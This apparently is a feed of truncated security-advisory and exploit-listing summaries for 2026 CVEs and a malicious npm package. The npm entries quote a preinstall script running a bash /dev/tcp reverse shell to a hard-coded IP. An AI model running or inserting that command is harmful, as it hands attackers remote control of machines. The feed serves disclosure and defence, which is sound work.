Unity Linux 20.1050e / 20.1060e / 20.1070-8ae / 20.1070e Security Update: httpd (UTSA-2023-003819)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2023-003819 advisory. Apache HTTP Server 2.4.53 and earlier may not send the X-Forwarded- headers to the origin server based on client side Connection header hop-by-hop mechanism. This ma...

Exploit for Deserialization of Untrusted Data in Openidentityplatform Openam

CVE-2026-33439 Python PoC Standalone Python proof of concept...

CVE-2026-86218-N-central-IOC-Toolkit

CVE-2026-86218 — N-able N-central 사전 인증 RCE | IOC 및 탐지 툴킷 CVSS 10.0 치명적 · 사전 인증 원격 코드 실행 · 정적 코드 주입 CWE-96 · 실제 악용 중 · CISA KEV -yellow 유지관리자: @jithinkrishnanrs · 저장소: github.com/jithinkrishnanrs/CVE-2026-86218-N-central-IOC-Toolkit CVE-2026-86218 — 관리형 서비스 제공업체MSP가 널리 사용하는 온프레미스 및 호스팅 원격 모니터링 및...

CVE-2026-90474 MCPHub before 1.0.32 OAuth 2.0 Authentication Bypass

MCPHub before 1.0.32 contains an authentication bypass vulnerability in its embedded OAuth 2.0 authorization server where client authentication is disabled by default and PKCE enforcement is optional. Attackers who obtain an authorization code through interception can redeem it for access tokens...

CVE-2026-90474

MCPHub before 1.0.32 is affected by an authentication bypass in its embedded OAuth 2.0 authorization server. The root cause is that client authentication is disabled by default and PKCE enforcement is optional , allowing an attacker who intercepts an authorization code to redeem it for an access ...

Exploit for Static Code Injection in N-Able N-Central

CVE-2026-86218 — N-able N-central Pre-Authentication RCE | IOC...

LDAP Injection

centraldogma-server-auth-shiro is vulnerable to LDAP Injection. The vulnerability is due to insufficient sanitization of the login username before inserting it into an LDAP search filter, which allows an unauthenticated attacker to inject LDAP filter metacharacters, manipulate authentication...

EUVD-2026-76742

An example environment-configuration file ships with a fixed, publicly-known secret value used to sign authentication cookies for a bundled packet-analysis component. A deployment that copies this example file into active configuration without running the setup routine that regenerates the value...

Linux Distros Unpatched Vulnerability : CVE-2026-90461

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - OpenStack Ironic through 38.0.0 may send a username and password to an unexpected remote host when Image Service is configured for HTTPS Basic Authentication...

CVE-2026-90461

OpenStack Ironic through 38.0.0 may send a username and password to an unexpected remote host when Image Service is configured for HTTPS Basic Authentication...

CVE-2026-90449

CVE-2026-90449 affects a reverse proxy/gateway in an ICS/OT deployment (per the referenced CISA advisory icsa-26-254-01 ). When a particular authentication mode is configured, the reverse proxy forwards requests to a bundled third-party administrative interface without first applying the gateway'...

CVE-2026-90461

OpenStack Ironic versions through 38.0.0 may leak a username and password to an unexpected remote host when the Image Service is configured for HTTP(S) Basic Authentication . The credential disclosure results in a HIGH confidentiality impact with a changed scope , rated CVSS 3.1: 6.3 (Medium) due...

CVE-2026-90461

OpenStack Ironic through 38.0.0 may send a username and password to an unexpected remote host when Image Service is configured for HTTPS Basic Authentication...

WordPress Tutor LMS – eLearning and online course solution plugin <= 4.0.7 - Authenticated (Subscriber+) PHP Object Injection to Remote Code Execution vulnerability

Authenticated Subscriber+ PHP Object Injection to Remote Code Execution vulnerability discovered by Chloe Chamberland, Wordfence Argus in WordPress Plugin Tutor LMS versions = 4.0.7...

Exploit for Missing Authentication for Critical Function in Coreweave Marimo

PoC — CVE-2026-39987 · Marimo Pre-Auth RCE CVSS 4.0: 9.3...

MAL-2026-16132 Malicious code in @nimbusedge/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...

Malicious code in @nimbusedge/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...

SUSE CVE-2026-88017

rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.64.0 until 1.75.1, the FTP auth-proxy driver in cmd/serve/ftp/ftp.go stores one obscured password per username in the server-wide userPass mapstringstring instead of binding the...

SUSE CVE-2026-88018

rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.75.1, rclone serve s3 configured with --auth-proxy but without --auth-key allows authPairMiddleware to register any client-chosen accessKeyID with an empty ws.s3Secret. gofakes...

CVE-2026-85083 CareCam Pro IP Cameras Use of Hard-coded Credentials

The ANJIA AJL33PC0801 IP camera uses a hard-coded credential for bootloader authentication. An attacker with physical access to the device may leverage this weakness to gain privileged bootloader access, allowing unauthorized modification of firmware and system configuration and potentially...